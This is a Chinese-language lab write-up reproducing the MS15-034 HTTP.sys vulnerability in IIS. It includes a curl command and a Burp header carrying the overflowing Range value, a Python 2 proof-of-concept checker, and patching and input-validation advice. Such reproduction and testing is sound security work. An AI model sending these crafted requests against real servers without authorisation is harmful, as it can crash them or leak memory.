发现一个http.sys告警信息,这里复现一下,增加知识储备
这里参考了这位师傅的文章
https://blog.csdn.net/qq_41210745/article/details/103437683
漏洞详情
IIS服务进程依赖HTTP.sys内核驱动程序文件,漏洞产生的原因是http.sys未能正确分析特殊设计的http请求,攻击者可以造成拒绝服务和提权攻击,目前相关分析表面,漏洞的溢出只限于整数型参数
受影响操作系统的IIS服务器版本:win 2012、win 2012 R2
基于32位系统:win 7 sp1、win 8
基于64位系统:win 7 sp1、win 8、win 8.1、win 2008 R2 SP1
基于Itanium的系统:win 2008 R2 SP1
环境
Windows Server 2012 R2
安装IIS
在仪表盘添加角色和功能,服务器角色选择IIS,一直下一步就可以了
安装好后打开http://localhost/
在同一个段里也可以访问http://ip
测试漏洞是否存在
0x1 kali
curl http://ip -H "Host: ip" -H "Range: bytes=0-18446744073709551615"
//如果返回416,说明该系统存在漏洞,其中Range字段值18446744073709551615表示:转为十六进制是 0xFFFFFFFFFFFFFFFF(16个F),是64位无符号整型所能表达的最大整数,整数溢出往往和这个超大整数有关。
0x2 windows+burp
增加响应头:
Range: bytes=0-18446744073709551615
查看返回包
0x3 python2+POC
#coding:utf-8
import socket
import random
ipAddr = "192.168.0.3" #填写测试ip
hexAllFfff = "18446744073709551615"
req1 = "GET / HTTP/1.0\r\n\r\n"
req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"
print "[*] Audit Started"
try:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req1)
boringResp = client_socket.recv(1024)
if "Microsoft" not in boringResp:
print "[*] Not IIS"
exit(0)
client_socket.close()
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req)
goodResp = client_socket.recv(1024)
if "Requested Range Not Satisfiable" in goodResp:
print "[!!] Vulnerability MS15-034 existence!"
elif " The request has an invalid header name" in goodResp:
print "[*] Not Vulnerability."
else:
print "[*] Unknown response state."
except Exception,e:
print e
漏洞验证
利用漏洞获取内存信息
这里使用DOS攻击,可以造成异常关机和蓝屏
建议
需要针对所有输入提交异常的构造语句进行严格的检查或者控制外部输入,异常范围值的参数不允许外部传递
1.建议修改win http堆栈处理请求的方式,已修复此漏洞。及时下载更新微软发布的补丁
2.对来自外部的输入数据验证类型、格式、长度、范围和内容,尤其对http range参数范围进行严格限制,过滤掉异常范围值的输入